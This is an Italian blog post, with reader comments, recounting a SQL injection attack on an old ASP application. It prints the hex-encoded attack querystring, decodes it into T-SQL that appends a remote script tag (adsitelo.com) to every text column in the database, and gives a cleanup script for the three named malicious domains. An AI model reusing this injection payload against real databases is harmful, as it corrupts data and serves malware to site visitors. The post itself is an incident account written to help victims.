Tags
Post simili
Condividi
SQLInjecter… potessero bruciarvi tutti
Difficilmente vedrete su questo blog altri post di questo genere: devo già combattere quotidianamente con gli assilli del lavoro che non mi sembra proprio il caso di continuare a parlarne qua.
Ma visto che ho dovuto perdere una sacrosanta mattina inseguendo Javascripts disseminati in un preziosissimo database di un cliente, mi sembra pur giusto alleviare il dolore di chi si troverà (prima o poi) nelle mie stesse condizioni. Se non altro, vi offro una soluzione che io non ho trovato, e che quindi sarà d’aiuto per il prossimo. Quanto sono samaritano.
Nella pratica, una nostra applicazione web (fatta un po’ a membro di segugio, per la verità, ma sufficientemente vetusta da esserle di giustificazione), è stata oggetto delle attenzioni di smidollati extraeuropei (molto extra, dannatamente extra) che hanno tentato di iniettare un po’ di loro sterco nei nostri pulitissimi sistemi. Morale: ci son riusciti.
L’approccio è veramente pietoso in termini di copertura: aggredire un server che hosta applicativi .ASP con dei GET in chiaro, sul QueryString, non so… ma il mio vicino di scrivania che fa il grafico e non sa nulla di nulla di queste cose avrebbe saputo far di meglio. Infatti non dovrebbe essere stato lui.
Ed ecco il querystring incriminato:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056415
24348415228323535292C404320564152434841522832353529204445434C415245205461626
C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E6
16D652046524F4D207379736F626A6563747320612C737973636F6C756D6E732062205748455
24520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747
970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522
0622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204
E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4
528404046455443485F5354415455533D302920424547494E204558454328275550444154452
05B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E564552542856
4152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D
687474703A2F2F7777772E6164736974656C6F2E636F6D2F622E6A733E3C2F7363726970743
E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E54
4F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
Davvero simpatico, il pischello che l’ha ideato. Non aveva niente di meglio da fare che ragionare una genialata del genere. Ok, non ci vuol molto a decifrare quel papocchio di stringa, dalla quale fuoriescono limpide come l’acqua di sorgente le seguenti poche righe in perfetto SQLlese…
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.adsitelo.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Grande figlio di una beata signora: mi scandisci tutte le tabelle e tutti i campi testo del mio prezioso database, quindi lanci un UPDATE a manetta, troncandomi a 4000 caratteri tutti i contenuti e aggiungi in coda le tue cagate… Capisci che il meno che posso augurarti è che alla pressione dell’ultimo tasto Enter ti colga una tendinite permanente?
E comunque, per quei poveri disgraziati caduti nella trappola dei signori adsitelo.com, advabnr.com e bigadnet.com, ecco uno script riparatore che, se non altro, vi eviterà di ripassarvi a mano tutte le tabelle e i campi nel tentativo di ripristinare la situazione preesistente. (Già, perché ovviamente per la legge di Muprhy le disgrazie non capitano mai sole, e l’ultimo backup era corrotto…)
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.adsitelo.com/b.js></script>'', '''')')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.advabnr.com/b.js></script>'', '''')')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.bigadnet.com/b.js></script>'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Un ringraziamento ad Rey per avermi assistito nel riscontro del guaio. E un sentito ringraziamento anche a chi aveva fatto l’applicazione, così robusta e impeccabile. Sgrunt.
P.S.: Una cronistoria della battaglia la trovate anche qua, grazie al collega Azael!





Odio questi figli di una cooperativa di baldracche… (si può dire?)
Hai tutta la mia stima per la frase “fatta un po’ a membro di segugio”
Ni hao!
Io cero, è non è stato un bel vedere, soprattuto non un bel sentire perchè in coda all’SQL si è fatto anche un Injection di cariole di frasi irripetibili anche nel quartiere a luci rosse di Amsterdam figuriamoci nella cattolicissima Italia. Bravo @Clockwise, ma la prossima volta usa il tuo pc, ora devo defibrillare il mio causa sovrasforzo da codice.
La prossima volta, per il DB, usa soluzioni alternative e più sicure.
Un bel registro, di quelli di una volta, penna e calamaio…
E infatti se leggi bene da quella plurkronaca ti sei guadagnato un’altra colonna sonora! E chi ti ferma più?
brutt’affare… e non ci ho nemmeno capito niente!
Incubiiii
@Matteo: In verità la definizione l’ho ciùlata ad una mia vecchia conoscenza, che peraltro era solito operare in siffatta maniera. E si, si può dire che sono dei figli di meretrice, più che altro quando l’attacco non è finalizzato a nulla più di una caduta di servizio: almeno ci avessero piazzato una donna nuda in homepage…





@Rey: Ang-ho
@khenzo: In verità era un tappeto di citazioni di testi sacri sulla teoria dei database, che in appendice riportano le locuzioni da utilizzare come incentivo alla normalizzazione delle basi di dati. Solo che alcune, in effetti, erano un po’ complesse e io l’ho volgarizzate, si.
@Novecento: Che poi, visto il cliente, ci poteva pure stare. Almeno trovavano qualcosa da fare, in quell’ufficio…
@HoldMe: Giusto un guerriero, mi son sentito. Ma contro i mulini a vento (e infatti, ci stava pure bene Sancho Panza…)
@Pepenero: Ti dovessi dire, nemmeno a me è stato così chiaro, alla fine, quel che ho fatto…
@(Lady).Chobin: In effetti, l’ultima volta era successo qualche anno fa, ma avevo il backup, e nonostante tutto di notte sognai un enorme omone a forma di cilindro (questa bisogna capirla) con una siringa, terribbbbbileee….
[OT]: Luckytto ha fatto un post sull’origine dei nick citandomi (io avevo già scritto un post sul mio nick tempo fa) e chiedendomi di segnalare altri 5 nick di cui avrei voluto conoscere la storia.
Uno di quelli sei tu!
Fai sul post di Luckytto, se ti va, e leggi i dettagli e scusa per lo spam!
questo vuol dire “se ti trovi a combattere contro un esercito di simboli che parlano astrogoto…chiamami”
Clock non c’ho capito na mazzzz….
però una cosa è certa…di te mi fido
ps. vedi un pò che lo spam su plurk serve a qualcosa?
ho beccato al volo il link
@MadGrin: Ci sono andato ieri sera, in preda a convulsioni da navigazione con cellulare: ho deciso che, per una valutazione più serena, dovrò ripassarci almeno stasera. Se, comunque, ti interessa la storia del mio nick, sarò ben lieto di scrivere su due righe al più presto. E di fartelo sapere, ovviamente!
@Irish Coffee: Tranquilla, son cose senza sapere le quali si vive benissimo lo stesso. Grazie per la fiducia accordatami, anche perché io di me non è che mi fidi ciecamente…
Certo che mi interessa!!
Attenderò avido!
Ammazza che situazione ingarbugliata… ma ancora oggi c’è gente che le cose serie le fa in ASP? Ma quando vi decidete a passare a PHP, gli urlerei in un orecchio. Comunque bello questo blog, ti ho scoperto dall’intervista fatta su weblog. Mi piace anche il tema, pulito ed accessibile.
@camu: Ancora oggi no, quella roba li è datata 2003 (non che nel 2003 fosse ancora legittimo fare applicazioni in ASP, eh…). Sulla scelta del linguaggio sarei daccordo con te, se non fosse che “abitando” quasi in casa M$, il massimo che ho potuto fare è stato migrare tutto in .NET. Che alla fine ho apprezzato. Grazie per il complimento sul tema, in effetti mi ci sono impazzito un po’!
Stessa cosa da queste parti. Gli IP delle chiamate sono da mezzo mondo: Turchia, Egitto, Brasile, Rep. Ceca…
Piantatela di consumarmi banda al server basardi!!!
@Sergio: Non solo: ci hanno riprovato anche qua, sempre nel fine settimana, lo scorso, un attacco a tappeto con una marea di injection diversi… ancora non li ha bruciati nessuno, ma presto mi doterò di lanciafiamme!